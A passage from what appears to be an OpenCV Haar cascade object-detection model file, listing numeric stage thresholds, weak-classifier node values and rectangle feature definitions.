2.3646999895572662e-01 + <_> + + 0 1 558 -5.3103519603610039e-03 -1 -2 559 + -3.5526719875633717e-03 + + -5.6304818391799927e-01 -5.5695772171020508e-01 + 1.5022790431976318e-01 + <_> + + 1 0 560 7.1414401754736900e-03 -1 -2 561 + -1.1435860069468617e-03 + + -6.7626637220382690e-01 3.7873879075050354e-01 + -7.4442893266677856e-02 + <_> + + 0 1 562 -3.1177429482340813e-03 -1 -2 563 + -7.7415622770786285e-02 + + -6.2568587064743042e-01 3.9839410781860352e-01 + -5.5262319743633270e-02 + <_> + + 0 1 564 -3.9252988994121552e-02 -1 -2 565 + 2.2049970924854279e-02 + + 3.4094831347465515e-01 -2.4413719773292542e-01 + 4.3050870299339294e-01 + <_> + + 0 1 566 -2.2205871064215899e-03 -1 -2 567 + 2.8649640735238791e-03 + + 2.8309720754623413e-01 -3.5401880741119385e-01 + 2.1054570376873016e-01 + <_> + + 0 1 568 5.8806730521610007e-05 -1 -2 569 + -6.6595021635293961e-03 + + -2.7014040946960449e-01 -5.9313482046127319e-01 + 2.1892869472503662e-01 + <_> + + 0 1 570 1.6931600868701935e-02 -1 -2 571 + 4.7026639804244041e-03 + + -1.1279620230197906e-01 4.9212211370468140e-01 + -3.9702880382537842e-01 + <_> + + 0 1 572 1.7478819936513901e-03 -1 -2 573 + -2.0893230102956295e-03 + + -2.2339369356632233e-01 -4.3157818913459778e-01 + 2.5373139977455139e-01 + <_> + + 1 0 574 1.1534850113093853e-02 -1 -2 575 + 8.7350117973983288e-04 + + -7.0668542385101318e-01 -7.2509132325649261e-02 + 3.9975029230117798e-01 + <_> + + 1 0 576 -7.2836421895772219e-04 -1 -2 577 + 1.2666890397667885e-03 + + -2.3567649722099304e-01 2.2582389414310455e-01 + -4.2317348718643188e-01 + <_> + + 1 0 578 -8.4794021677225828e-04 -1 -2 579 + 3.6212441325187683e-01 + + -2.8307029604911804e-01 1.6724239289760590e-01 + -7.6826947927474976e-01 + <_> + + 1 0 580 -1.9437649752944708e-03 -1 -2 581 + -4.1159680113196373e-03 + + -2.7229419350624084e-01 -6.4211308956146240e-01 + 1.8810230493545532e-01 + <_> + + 1 0 582 2.3254039697349072e-03 -1 -2 583 + -1.4815620379522443e-03 + + 2.8516888618469238e-01 4.2574208974838257e-01 + -2.1113610267639160e-01 + <_> + + 1 0 584 -6.6233296820428222e-05 -1 -2 585 + -3.3756431192159653e-02 + + -2.8205850720405579e-01 -8.1803041696548462e-01 + 1.7053669691085815e-01 + <_> + + 0 1 586 -9.4350927975028753e-04 -1 -2 587 + 1.0650219628587365e-03 + + 1.5273140370845795e-01 -4.2650490999221802e-01 + 1.5235939621925354e-01 + <_> + + 0 1 588 -1.2905279872938991e-03 -1 -2 589 + 9.6549028530716896e-03 + + 1.7365390062332153e-01 -3.9721599221229553e-01 + 1.7953179776668549e-01 + <_> + + 1 0 590 1.3434770517051220e-03 -1 -2 591 + 5.5220007197931409e-04 + + -6.9609320163726807e-01 -7.2258770465850830e-02 + 3.4493291378021240e-01 + <_> + + 1 0 592 3.5795350559055805e-03 -1 -2 593 + -1.0585499927401543e-02 + + -4.8070669174194336e-01 -3.2975581288337708e-01 + 1.4686919748783112e-01 + <_> + + 1 0 594 3.5636040847748518e-03 -1 -2 595 + -1.0298290103673935e-01 + + -6.1415022611618042e-01 -7.2366482019424438e-01 + 8.4447070956230164e-02 + <_> + + 0 1 596 -2.9605759307742119e-02 -1 -2 597 + -3.4580599516630173e-02 + + 4.7113609313964844e-01 -4.3128991127014160e-01 + 2.4623470380902290e-02 + <_> + + 1 0 598 4.7923368401825428e-03 -1 -2 599 + 1.7058040248230100e-03 + + -4.6270799636840820e-01 1.4738570153713226e-01 + -3.7818890810012817e-01 + <_> + + 0 1 600 -3.3174119889736176e-03 -1 -2 601 + -1.7022279789671302e-03 + + 2.7929860353469849e-01 2.6326990127563477e-01 + -2.5129210948944092e-01 + <_> + + 1 0 602 -8.1695342669263482e-04 -1 -2 603 + -1.4184829778969288e-03 + + -1.2859649956226349e-01 5.8855402469635010e-01 + -5.0085168331861496e-02 + <_> + + 0 1 604 -1.0478599928319454e-02 -1 -2 605 + 3.1981911510229111e-02 + + 1.4732900261878967e-01 -4.1299548745155334e-01 + 3.4442049264907837e-01 + <_> + + 1 0 606 4.5543849468231201e-02 -1 -2 607 + 2.3574009537696838e-02 + + 4.8842081427574158e-01 -4.6383219957351685e-01 + 3.7443768233060837e-02 + <_> + 29 + -1.7628519535064697e+00 + + <_> + + 1 0 608 -3.2347131520509720e-02 -1 -2 609 + -7.4855431914329529e-02 + + -4.1153168678283691e-01 5.4409480094909668e-01 + -2.1043080091476440e-01 + <_> + + 0 1 610 -5.9164799749851227e-02 -1 -2 611 + -5.0734709948301315e-03 + + 4.6945521235466003e-01 8.0933347344398499e-02 + -4.0436869859695435e-01 + <_> + + 0 1 612 6.6304411739110947e-03 -1 -2 613 + 2.2804280743002892e-02 + + -3.1943950057029724e-01 -3.5277611017227173e-01 + 3.6358159780502319e-01 + <_> + + 1 0 614 3.4148059785366058e-03 -1 -2 615 + -6.0696629807353020e-03 + + -4.2139899730682373e-01 2.8190940618515015e-01 + -2.5727981328964233e-01 + <_> + + 1 0 616 -3.3271780703216791e-03 -1 -2 617 + 1.2381239794194698e-02 + + -3.3380180597305298e-01 2.5831120088696480e-02 + 5.8200639486312866e-01 + <_> + + 0 1 618 -7.8561902046203613e-02 -1 -2 619 + -7.6863910071551800e-03 + + 5.7080817222595215e-01 1.9097380340099335e-01 + -2.4749469757080078e-01 + <_> + + 1 0 620 3.9404830895364285e-03 -1 -2 621 + -7.0624810177832842e-05 + + -3.5295888781547546e-01 2.8438061475753784e-01 + -1.6469420492649078e-01 + <_> + + 0 1 622 -2.2568539716303349e-03 -1 -2 623 + -3.5595949739217758e-03 + + -4.6189218759536743e-01 2.4525940418243408e-01 + -1.8984979391098022e-01 + <_> + + 0 1 624 -3.0113100074231625e-03 -1 -2 625 + -6.2748990021646023e-03 + + 3.0594390630722046e-01 1.4716149866580963e-01 + -3.3265221118927002e-01 + <_> + + 1 0 626 2.5835279375314713e-03 -1 -2 627 + 3.2576550729572773e-03 + + -7.4853891134262085e-01 -1.4949619770050049e-01 + 2.6293671131134033e-01 + <_> + + 1 0 628 -2.6957978843711317e-04 -1 -2 629 + -4.4593680649995804e-03 + + -2.9468360543251038e-01 -4.5905289053916931e-01 + 2.2235380113124847e-01 + <_> + + 1 0 630 2.2841650061309338e-03 -1 -2 631 + -6.7595718428492546e-04 + + -6.3815939426422119e-01 -3.1756940484046936e-01 + 1.4903070032596588e-01 + <_> + + 1 0 632 6.1428439803421497e-03 -1 -2 633 + 2.7392068877816200e-03 + + 2.4187029898166656e-01 -3.1487539410591125e-01 + 2.3589129745960236e-01 + <_> + + 0 1 634 -2.0209311041980982e-03 -1 -2 635 + 2.6892140507698059e-02 + + 2.5389561057090759e-01 -3.4391039609909058e-01 + 2.3010760545730591e-01 + <_> + + 1 0 636 1.4671060256659985e-02 -1 -2 637 + -1.2444119900465012e-02 + + 5.9517538547515869e-01 3.7335929274559021e-01 + -1.4540639519691467e-01 + <_> + + 0 1 638 2.0527220331132412e-03 -1 -2 639 + -1.7088990658521652e-02 + + -2.1135020256042480e-01 -7.2516232728958130e-01 + 2.3358739912509918e-01 + <_> + + 0 1 640 -9.8585523664951324e-03 -1 -2 641 + -1.0541190393269062e-02 + + 4.5390421152114868e-01 3.5500058531761169e-01 + -1.7118500173091888e-01 + <_> + + 1 0 642 4.0034228004515171e-03 -1 -2 643 + -1.1889140121638775e-02 + + -7.0433962345123291e-01 4.0436559915542603e-01 + -4.6263620257377625e-02 + <_> + + 0 1 644 -2.0685700699687004e-02 -1 -2 645 + -7.9243928194046021e-03 + + -6.4347600936889648e-01 -5.3632920980453491e-01 + 1.1002989858388901e-01 + <_> + + 1 0 646 1.2431150535121560e-03 -1 -2 647 + -4.2312019504606724e-03 + + 4.1220021247863770e-01 7.9887658357620239e-02 + -3.0926740169525146e-01 + <_> + + 1 0 648 9.8197339102625847e-03 -1 -2 649 + 4.5455411076545715e-02 + + -6.0976761579513550e-01 1.0621140152215958e-01 + -6.4687371253967285e-01 + <_> + + 1 0 650 2.6892758905887604e-03 -1 -2 651 + -1.5172710409387946e-03 + + -4.9122989177703857e-01 1.7578749358654022e-01 + -2.6818940043449402e-01 + <_> + + 1 0 652 6.2014168361201882e-04 -1 -2 653 + -2.0233519899193197e-04 + + 2.5500729680061340e-01 7.2745857760310173e-03 + -5.0815272331237793e-01 + <_> + + 1 0 654 3.1760020647197962e-03 -1 -2 655 + -1.2668699491769075e-03 + + 4.3849268555641174e-01 1.6349400579929352e-01 + -2.9128161072731018e-01 + <_> + + 1 0 656 5.1056100055575371e-03 -1 -2 657 + -1.5026510227471590e-03 + + -7.5001358985900879e-01 2.7198830246925354e-01 + -9.9486798048019409e-02 + <_> + + 0 1 658 -3.6238620523363352e-03 -1 -2 659 + 7.6577658765017986e-03 + + -6.0396248102188110e-01 1.0938379913568497e-01 + -5.3007638454437256e-01 + <_> + + 0 1 660 -3.1830249354243279e-03 -1 -2 661 + 1.0931329801678658e-02 + + -4.7724890708923340e-01 -4.3065819889307022e-02 + 3.8945859670639038e-01 + <_> + + 0 1 662 -1.0047679534181952e-03 -1 -2 663 + -4.6660430729389191e-02 + + 4.1553598642349243e-01 3.0159878730773926e-01 + -1.6184380650520325e-01 + <_> + + 1 0 664 3.2002381049096584e-03 -1 -2 665 + -1.7367519903928041e-03 + + -5.4621779918670654e-01 -2.1987779438495636e-01 + 1.9606420397758484e-01 + <_> + 33 + -1.8088439702987671e+00 + + <_> + + 0 1 666 1.7160519957542419e-02 -1 -2 667 + 1.4503560028970242e-02 + + -3.2273009419441223e-01 -3.9438620209693909e-01 + 5.7922977209091187e-01 + <_> + + 1 0 668 -9.0323518961668015e-03 -1 -2 669 + -6.9836131297051907e-03 + + -4.1536870598793030e-01 3.5515859723091125e-01 + -3.8177150487899780e-01 + <_> + + 0 1 670 -1.9220909103751183e-02 -1 -2 671 + -4.0087159723043442e-02 + + 4.5315900444984436e-01 1.7228379845619202e-01 + -3.1110560894012451e-01 + <_> + + 0 1 672 5.6549701839685440e-03 -1 -2 673 + -1.1611269786953926e-02 + + -4.0461608767509460e-01 2.9034239053726196e-01 + -2.2078509628772736e-01 + <_> + + 0 1 674 -1.0576159693300724e-03 -1 -2 675 + -1.3360800221562386e-03 + + 3.5851669311523438e-01 1.5968900173902512e-02 + -4.1990101337432861e-01 + <_> + + 1 0 676 5.2302791737020016e-03 -1 -2 677 + -2.7848479803651571e-03 + + -4.9663281440734863e-01 -5.2960211038589478e-01 + 1.5535449981689453e-01 + <_> + + 0 1 678 -2.5654129683971405e-02 -1 -2 679 + -6.8942131474614143e-03 + + -5.9309178590774536e-01 2.4318109452724457e-01 + -1.8231940269470215e-01 + <_> + + 1 0 680 -6.9622750743292272e-05 -1 -2 681 + -6.4154611900448799e-03 + + -3.2716289162635803e-01 -5.0821667909622192e-01 + 1.9543349742889404e-01 + <_> + + 0 1 682 -6.7164386564400047e-05 -1 -2 683 + 2.2416690364480019e-02 + + 1.8602199852466583e-01 -3.9281991124153137e-01 + 1.3279129564762115e-01 + <_> + + 1 0 684 8.4287580102682114e-03 -1 -2 685 + -8.7357551092281938e-04 + + -5.5447560548782349e-01 4.7158730030059814e-01 + -3.8492478430271149e-02 + <_> + + 1 0 686 -4.7496971092186868e-05 -1 -2 687 + 4.5816078782081604e-03 + + -2.5197029113769531e-01 2.0250399410724640e-01 + -6.1638081073760986e-01 + <_> + + 1 0 688 -1.1175150051712990e-02 -1 -2 689 + -7.4238609522581100e-03 + + -2.7771198749542236e-01 -5.0103437900543213e-01 + 1.9318529963493347e-01 + <_> + + 0 1 690 -3.0201480258256197e-03 -1 -2 691 + -3.0343679245561361e-03 + + -6.5904247760772705e-01 3.1962481141090393e-01 + -1.0512910038232803e-01 + <_> + + 0 1 692 -1.0971290059387684e-02 -1 -2 693 + 1.2000739661743864e-04 + + 3.2707008719444275e-01 -4.1679269075393677e-01 + 1.1645200103521347e-01 + <_> + + 1 0 694 2.1552699618041515e-03 -1 -2 695 + 1.5970800304785371e-03 + + 1.5389390289783478e-01 -4.2979270219802856e-01 + 1.9192950427532196e-01 + <_> + + 0 1 696 -4.3590939603745937e-03 -1 -2 697 + -6.5752048976719379e-03 + + -8.6613738536834717e-01 3.5298541188240051e-01 + -7.2624720633029938e-02 + <_> + + 1 0 698 3.5486191045492887e-03 -1 -2 699 + 1.7437560018151999e-03 + + -3.6141040921211243e-01 -4.0250919759273529e-02 + 4.1119590401649475e-01 + <_> + + 1 0 700 6.5892767452169210e-05 -1 -2 701 + 1.2217169627547264e-02 + + 1.5523989498615265e-01 -3.6567229032516479e-01 + 2.5159689784049988e-01 + <_> + + 1 0 702 6.0199309140443802e-02 -1 -2 703 + -9.1684371232986450e-02 + + -6.8959599733352661e-01 -6.6311872005462646e-01 + 9.4827361404895782e-02 + <_> + + 1 0 704 8.9392811059951782e-04 -1 -2 705 + -1.1146500473842025e-03 + + 2.8731009364128113e-01 3.6127060651779175e-01 + -2.4054229259490967e-01 + <_> + + 0 1 706 -1.1042780242860317e-02 -1 -2 707 + 3.7769351154565811e-02 + + -7.1686691045761108e-01 1.1125349998474121e-01 + -5.6320947408676147e-01 + <_> + + 1 0 708 5.5979429744184017e-03 -1 -2 709 + -2.5462140329182148e-03 + + -5.6998908519744873e-01 2.6734578609466553e-01 + -1.0527700185775757e-01 + <_> + + 0 1 710 -1.7929819878190756e-03 -1 -2 711 + -8.9686378487385809e-05 + + 1.7712120711803436e-01 1.6762410104274750e-01 + -4.1336658596992493e-01 + <_> + + 1 0 712 -6.8254990037530661e-04 -1 -2 713 + 4.0599349886178970e-03 + + -3.1327050924301147e-01 2.0312629640102386e-01 + -4.6360948681831360e-01 + <_> + + 1 0 714 1.5843180008232594e-03 -1 -2 715 + -4.6101640909910202e-02 + + 2.6413089036941528e-01 2.4587640166282654e-01 + -3.1151199340820312e-01 + <_> + + 1 0 716 1.5759950038045645e-03 -1 -2 717 + 3.5904631018638611e-02 + + -3.6593970656394958e-01 -1.3352620415389538e-02 + 4.9500739574432373e-01 + <_> + + 1 0 718 1.9230529665946960e-02 -1 -2 719 + 1.3461830094456673e-02 + + 1.8603560328483582e-01 -4.2704311013221741e-01 + 1.4756950736045837e-01 + <_> + + 1 0 720 6.3534970395267010e-03 -1 -2 721 + 4.7998740337789059e-03 + + -5.8824592828750610e-01 1.3966129720211029e-01 + -3.6948320269584656e-01 + <_> + + 0 1 722 -9.7894563805311918e-04 -1 -2 723 + 1.8534340197220445e-03 + + 4.3156591057777405e-01 -1.9053110480308533e-01 + 2.6868799328804016e-01 + <_> + + 1 0 724 5.5962381884455681e-04 -1 -2 725 + -8.1787789240479469e-03 + + -3.0545750260353088e-01 -7.2353351116180420e-01 + 1.6197769343852997e-01 + <_> + + 1 0 726 -6.4591833506710827e-05 -1 -2 727 + -4.2282380163669586e-03 + + -1.6121749579906464e-01 4.2441681027412415e-01 + -1.1488209664821625e-01 + <_> + + 0 1 728 -3.2379399053752422e-03 -1 -2 729 + -4.7763898037374020e-03 + + -8.2811427116394043e-01 3.9157009124755859e-01 + -3.7677429616451263e-02 + <_> + + 0 1 730 -6.1182728968560696e-03 -1 -2 731 + 3.1565790995955467e-03 + + 3.0208829045295715e-01 -1.9045789539813995e-01 + 3.0219689011573792e-01 + + <_> + + <_> + 8 12 3 8 -1. + <_> + 8 16 3 4 2. + <_> + + <_> + 5 11 8 9 -1. + <_> + 7 11 4 9 2. + <_> + + <_> + 8 7 11 12 -1. + <_> + 8 11 11 4 3. + <_> + + <_> + 1 0 7 8 -1. + <_> + 1 4 7 4 2. + <_> + + <_> + 9 7 6 6 -1. + <_> + 7 9 6 2 3. + 1 + <_> + + <_> + 0 0 7 4 -1. + <_> + 0 2 7 2 2. + <_> + + <_> + 16 13 4 4 -1. + <_> + 18 13 2 4 2. + <_> + + <_> + 17 15 2 3 -1. + <_> + 17 15 1 3 2. + 1 + <_> + + <_> + 0 13 6 2 -1. + <_> + 2 13 2 2 3. + <_> + + <_> + 5 0 6 6 -1. + <_> + 7 0 2 6 3. + <_> + + <_> + 5 7 9 12 -1. + <_> + 8 11 3 4 9. + <_> + + <_> + 5 6 4 10 -1. + <_> + 5 6 2 5 2. + <_> + 7 11 2 5 2. + <_> + + <_> + 8 12 11 8 -1. + <_> + 8 16 11 4 2. + <_> + + <_> + 0 0 1 8 -1. + <_> + 0 4 1 4 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 14 14 6 6 -1. + <_> + 14 17 6 3 2. + <_> + + <_> + 5 13 9 7 -1. + <_> + 8 13 3 7 3. + <_> + + <_> + 6 17 6 3 -1. + <_> + 8 17 2 3 3. + <_> + + <_> + 0 0 4 4 -1. + <_> + 0 2 4 2 2. + <_> + + <_> + 1 0 3 3 -1. + <_> + 2 1 1 1 9. + <_> + + <_> + 3 18 6 2 -1. + <_> + 3 19 6 1 2. + <_> + + <_> + 7 18 4 2 -1. + <_> + 8 18 2 2 2. + <_> + + <_> + 6 10 12 2 -1. + <_> + 6 11 12 1 2. + <_> + + <_> + 15 8 3 1 -1. + <_> + 16 9 1 1 3. + 1 + <_> + + <_> + 5 7 9 12 -1. + <_> + 8 11 3 4 9. + <_> + + <_> + 16 13 1 6 -1. + <_> + 16 16 1 3 2. + <_> + + <_> + 9 7 5 6 -1. + <_> + 7 9 5 2 3. + 1 + <_> + + <_> + 16 12 4 6 -1. + <_> + 18 12 2 6 2. + <_> + + <_> + 0 0 6 8 -1. + <_> + 0 4 6 4 2. + <_> + + <_> + 3 1 15 12 -1. + <_> + 3 5 15 4 3. + <_> + + <_> + 11 12 9 8 -1. + <_> + 11 16 9 4 2. + <_> + + <_> + 0 0 12 9 -1. + <_> + 4 0 4 9 3. + <_> + + <_> + 0 12 6 4 -1. + <_> + 2 12 2 4 3. + <_> + + <_> + 10 18 4 2 -1. + <_> + 11 18 2 2 2. + <_> + + <_> + 5 2 3 3 -1. + <_> + 6 2 1 3 3. + <_> + + <_> + 12 18 3 2 -1. + <_> + 13 18 1 2 3. + <_> + + <_> + 0 0 2 8 -1. + <_> + 1 0 1 8 2. + <_> + + <_> + 5 18 4 2 -1. + <_> + 5 19 4 1 2. + <_> + + <_> + 14 11 6 6 -1. + <_> + 17 11 3 6 2. + <_> + + <_> + 6 12 8 4 -1. + <_> + 8 12 4 4 2. + <_> + + <_> + 12 6 4 9 -1. + <_> + 9 9 4 3 3. + 1 + <_> + + <_> + 11 9 4 7 -1. + <_> + 12 10 2 7 2. + 1 + <_> + + <_> + 5 8 4 8 -1. + <_> + 5 8 2 4 2. + <_> + 7 12 2 4 2. + <_> + + <_> + 8 12 11 8 -1. + <_> + 8 16 11 4 2. + <_> + + <_> + 3 0 14 6 -1. + <_> + 3 3 14 3 2. + <_> + + <_> + 7 1 6 12 -1. + <_> + 7 4 6 6 2. + <_> + + <_> + 0 18 7 2 -1. + <_> + 0 19 7 1 2. + <_> + + <_> + 16 12 4 3 -1. + <_> + 18 12 2 3 2. + <_> + + <_> + 0 0 4 8 -1. + <_> + 2 0 2 8 2. + <_> + + <_> + 3 0 4 1 -1. + <_> + 5 0 2 1 2. + <_> + + <_> + 3 13 2 2 -1. + <_> + 3 13 2 1 2. + 1 + <_> + + <_> + 0 16 19 4 -1. + <_> + 0 18 19 2 2. + <_> + + <_> + 7 13 8 2 -1. + <_> + 11 13 4 2 2. + <_> + + <_> + 8 8 4 1 -1. + <_> + 9 8 2 1 2. + <_> + + <_> + 0 1 1 4 -1. + <_> + 0 3 1 2 2. + <_> + + <_> + 0 0 1 4 -1. + <_> + 0 1 1 2 2. + <_> + + <_> + 15 15 5 2 -1. + <_> + 15 16 5 1 2. + <_> + + <_> + 7 18 3 2 -1. + <_> + 8 18 1 2 3. + <_> + + <_> + 13 7 3 8 -1. + <_> + 11 9 3 4 2. + 1 + <_> + + <_> + 15 12 2 8 -1. + <_> + 15 16 2 4 2. + <_> + + <_> + 2 0 10 6 -1. + <_> + 2 3 10 3 2. + <_> + + <_> + 0 5 18 15 -1. + <_> + 6 10 6 5 9. + <_> + + <_> + 3 11 12 6 -1. + <_> + 7 13 4 2 9. + <_> + + <_> + 16 12 4 7 -1. + <_> + 18 12 2 7 2. + <_> + + <_> + 8 18 4 2 -1. + <_> + 9 18 2 2 2. + <_> + + <_> + 8 17 4 3 -1. + <_> + 9 17 2 3 2. + <_> + + <_> + 0 12 6 6 -1. + <_> + 2 12 2 6 3. + <_> + + <_> + 4 16 4 4 -1. + <_> + 5 16 2 4 2. + <_> + + <_> + 3 0 4 6 -1. + <_> + 4 0 2 6 2. + <_> + + <_> + 1 0 4 7 -1. + <_> + 2 0 2 7 2. + <_> + + <_> + 2 0 8 3 -1. + <_> + 6 0 4 3 2. + <_> + + <_> + 8 3 4 6 -1. + <_> + 9 3 2 6 2. + <_> + + <_> + 10 10 3 2 -1. + <_> + 10 11 3 1 2. + <_> + + <_> + 4 3 7 6 -1. + <_> + 4 6 7 3 2. + <_> + + <_> + 10 18 10 2 -1. + <_> + 15 18 5 2 2. + <_> + + <_> + 9 13 6 1 -1. + <_> + 9 13 3 1 2. + 1 + <_> + + <_> + 10 8 4 6 -1. + <_> + 8 10 4 2 3. + 1 + <_> + + <_> + 14 12 6 8 -1. + <_> + 14 16 6 4 2. + <_> + + <_> + 10 8 6 4 -1. + <_> + 12 10 2 4 3. + 1 + <_> + + <_> + 0 12 6 3 -1. + <_> + 2 12 2 3 3. + <_> + + <_> + 18 11 2 6 -1. + <_> + 19 11 1 6 2. + <_> + + <_> + 0 0 1 10 -1. + <_> + 0 5 1 5 2. + <_> + + <_> + 5 4 8 12 -1. + <_> + 7 4 4 12 2. + <_> + + <_> + 1 3 9 8 -1. + <_> + 4 3 3 8 3. + <_> + + <_> + 0 0 2 2 -1. + <_> + 0 1 2 1 2. + <_> + + <_> + 12 8 6 12 -1. + <_> + 14 12 2 4 9. + <_> + + <_> + 4 2 14 6 -1. + <_> + 4 4 14 2 3. + <_> + + <_> + 3 0 12 8 -1. + <_> + 3 4 12 4 2. + <_> + + <_> + 0 0 17 20 -1. + <_> + 0 5 17 10 2. + <_> + + <_> + 4 0 13 6 -1. + <_> + 4 2 13 2 3. + <_> + + <_> + 2 10 3 6 -1. + <_> + 3 10 1 6 3. + <_> + + <_> + 4 14 6 4 -1. + <_> + 4 14 3 2 2. + <_> + 7 16 3 2 2. + <_> + + <_> + 8 1 6 8 -1. + <_> + 10 1 2 8 3. + <_> + + <_> + 0 1 2 6 -1. + <_> + 1 1 1 6 2. + <_> + + <_> + 8 12 1 3 -1. + <_> + 7 13 1 1 3. + 1 + <_> + + <_> + 5 4 8 4 -1. + <_> + 5 4 8 2 2. + 1 + <_> + + <_> + 0 2 4 5 -1. + <_> + 1 2 2 5 2. + <_> + + <_> + 5 12 3 2 -1. + <_> + 6 12 1 2 3. + <_> + + <_> + 5 13 8 2 -1. + <_> + 7 13 4 2 2. + <_> + + <_> + 11 9 9 8 -1. + <_> + 11 11 9 4 2. + <_> + + <_> + 16 12 4 3 -1. + <_> + 18 12 2 3 2. + <_> + + <_> + 16 14 4 6 -1. + <_> + 16 17 4 3 2. + <_> + + <_> + 0 12 6 3 -1. + <_> + 2 12 2 3 3. + <_> + + <_> + 8 6 7 6 -1. + <_> + 6 8 7 2 3. + 1 + <_> + + <_> + 0 0 1 6 -1. + <_> + 0 3 1 3 2. + <_> + + <_> + 0 2 15 5 -1. + <_> + 5 2 5 5 3. + <_> + + <_> + 8 11 10 3 -1. + <_> + 13 11 5 3 2. + <_> + + <_> + 8 11 2 8 -1. + <_> + 8 15 2 4 2. + <_> + + <_> + 0 1 2 6 -1. + <_> + 1 1 1 6 2. + <_> + + <_> + 0 1 4 4 -1. + <_> + 1 1 2 4 2. + <_> + + <_> + 5 16 3 1 -1. + <_> + 6 17 1 1 3. + 1 + <_> + + <_> + 5 0 7 15 -1. + <_> + 5 5 7 5 3. + <_> + + <_> + 17 0 3 2 -1. + <_> + 18 1 1 2 3. + 1 + <_> + + <_> + 4 18 6 2 -1. + <_> + 6 18 2 2 3. + <_> + + <_> + 7 1 4 5 -1. + <_> + 7 1 2 5 2. + 1 + <_> + + <_> + 14 0 6 8 -1. + <_> + 14 0 3 4 2. + <_> + 17 4 3 4 2. + <_> + + <_> + 5 2 4 18 -1. + <_> + 5 2 2 9 2. + <_> + 7 11 2 9 2. + <_> + + <_> + 7 18 6 2 -1. + <_> + 9 18 2 2 3. + <_> + + <_> + 10 8 2 3 -1. + <_> + 10 9 2 1 3. + <_> + + <_> + 10 10 4 2 -1. + <_> + 10 10 2 1 2. + <_> + 12 11 2 1 2. + <_> + + <_> + 4 2 12 6 -1. + <_> + 4 4 12 2 3. + <_> + + <_> + 5 1 12 8 -1. + <_> + 5 3 12 4 2. + <_> + + <_> + 2 18 4 2 -1. + <_> + 2 19 4 1 2. + <_> + + <_> + 0 18 8 1 -1. + <_> + 4 18 4 1 2. + <_> + + <_> + 4 7 12 12 -1. + <_> + 8 11 4 4 9. + <_> + + <_> + 16 11 4 6 -1. + <_> + 18 11 2 6 2. + <_> + + <_> + 6 13 6 7 -1. + <_> + 8 13 2 7 3. + <_> + + <_> + 0 0 1 8 -1. + <_> + 0 4 1 4 2. + <_> + + <_> + 15 14 5 6 -1. + <_> + 15 17 5 3 2. + <_> + + <_> + 0 7 6 9 -1. + <_> + 2 7 2 9 3. + <_> + + <_> + 15 11 4 1 -1. + <_> + 16 12 2 1 2. + 1 + <_> + + <_> + 11 11 8 2 -1. + <_> + 15 11 4 2 2. + <_> + + <_> + 0 1 12 11 -1. + <_> + 3 1 6 11 2. + <_> + + <_> + 8 8 6 4 -1. + <_> + 7 9 6 2 2. + 1 + <_> + + <_> + 6 17 6 3 -1. + <_> + 8 17 2 3 3. + <_> + + <_> + 0 0 1 4 -1. + <_> + 0 2 1 2 2. + <_> + + <_> + 3 1 1 3 -1. + <_> + 2 2 1 1 3. + 1 + <_> + + <_> + 18 11 2 3 -1. + <_> + 18 12 2 1 3. + <_> + + <_> + 3 12 2 8 -1. + <_> + 3 12 1 4 2. + <_> + 4 16 1 4 2. + <_> + + <_> + 3 12 3 3 -1. + <_> + 4 12 1 3 3. + <_> + + <_> + 11 18 4 2 -1. + <_> + 12 18 2 2 2. + <_> + + <_> + 17 10 3 3 -1. + <_> + 17 11 3 1 3. + <_> + + <_> + 7 14 5 2 -1. + <_> + 7 15 5 1 2. + <_> + + <_> + 6 0 4 5 -1. + <_> + 6 0 2 5 2. + 1 + <_> + + <_> + 6 1 5 8 -1. + <_> + 6 5 5 4 2. + <_> + + <_> + 3 1 9 8 -1. + <_> + 3 5 9 4 2. + <_> + + <_> + 2 14 15 6 -1. + <_> + 7 14 5 6 3. + <_> + + <_> + 12 3 6 5 -1. + <_> + 14 3 2 5 3. + <_> + + <_> + 5 16 2 2 -1. + <_> + 5 16 1 2 2. + 1 + <_> + + <_> + 5 16 2 2 -1. + <_> + 5 16 1 2 2. + 1 + <_> + + <_> + 9 8 6 4 -1. + <_> + 11 10 2 4 3. + 1 + <_> + + <_> + 4 11 3 4 -1. + <_> + 4 13 3 2 2. + <_> + + <_> + 13 8 6 12 -1. + <_> + 15 12 2 4 9. + <_> + + <_> + 0 0 1 10 -1. + <_> + 0 5 1 5 2. + <_> + + <_> + 0 12 6 4 -1. + <_> + 2 12 2 4 3. + <_> + + <_> + 7 5 8 6 -1. + <_> + 5 7 8 2 3. + 1 + <_> + + <_> + 3 1 16 4 -1. + <_> + 3 3 16 2 2. + <_> + + <_> + 6 2 10 9 -1. + <_> + 6 5 10 3 3. + <_> + + <_> + 14 10 6 10 -1. + <_> + 17 10 3 10 2. + <_> + + <_> + 5 17 4 3 -1. + <_> + 6 17 2 3 2. + <_> + + <_> + 5 12 3 2 -1. + <_> + 6 12 1 2 3. + <_> + + <_> + 5 12 3 2 -1. + <_> + 6 12 1 2 3. + <_> + + <_> + 0 0 2 9 -1. + <_> + 1 0 1 9 2. + <_> + + <_> + 2 6 3 2 -1. + <_> + 2 6 3 1 2. + 1 + <_> + + <_> + 7 16 6 3 -1. + <_> + 9 16 2 3 3. + <_> + + <_> + 7 17 6 2 -1. + <_> + 9 17 2 2 3. + <_> + + <_> + 6 3 9 6 -1. + <_> + 4 5 9 2 3. + 1 + <_> + + <_> + 6 15 3 2 -1. + <_> + 7 16 1 2 3. + 1 + <_> + + <_> + 6 2 3 3 -1. + <_> + 7 2 1 3 3. + <_> + + <_> + 2 1 6 4 -1. + <_> + 4 1 2 4 3. + <_> + + <_> + 13 11 4 2 -1. + <_> + 13 11 2 1 2. + <_> + 15 12 2 1 2. + <_> + + <_> + 14 10 2 2 -1. + <_> + 14 10 1 1 2. + <_> + 15 11 1 1 2. + <_> + + <_> + 17 7 3 3 -1. + <_> + 18 8 1 3 3. + 1 + <_> + + <_> + 17 7 3 2 -1. + <_> + 18 8 1 2 3. + 1 + <_> + + <_> + 0 3 1 2 -1. + <_> + 0 4 1 1 2. + <_> + + <_> + 10 1 2 5 -1. + <_> + 11 1 1 5 2. + <_> + + <_> + 1 8 3 12 -1. + <_> + 1 11 3 6 2. + <_> + + <_> + 2 10 8 2 -1. + <_> + 2 10 4 2 2. + 1 + <_> + + <_> + 6 12 3 3 -1. + <_> + 7 13 1 1 9. + <_> + + <_> + 6 11 3 4 -1. + <_> + 7 11 1 4 3. + <_> + + <_> + 5 17 4 2 -1. + <_> + 6 17 2 2 2. + <_> + + <_> + 0 19 20 1 -1. + <_> + 10 19 10 1 2. + <_> + + <_> + 5 11 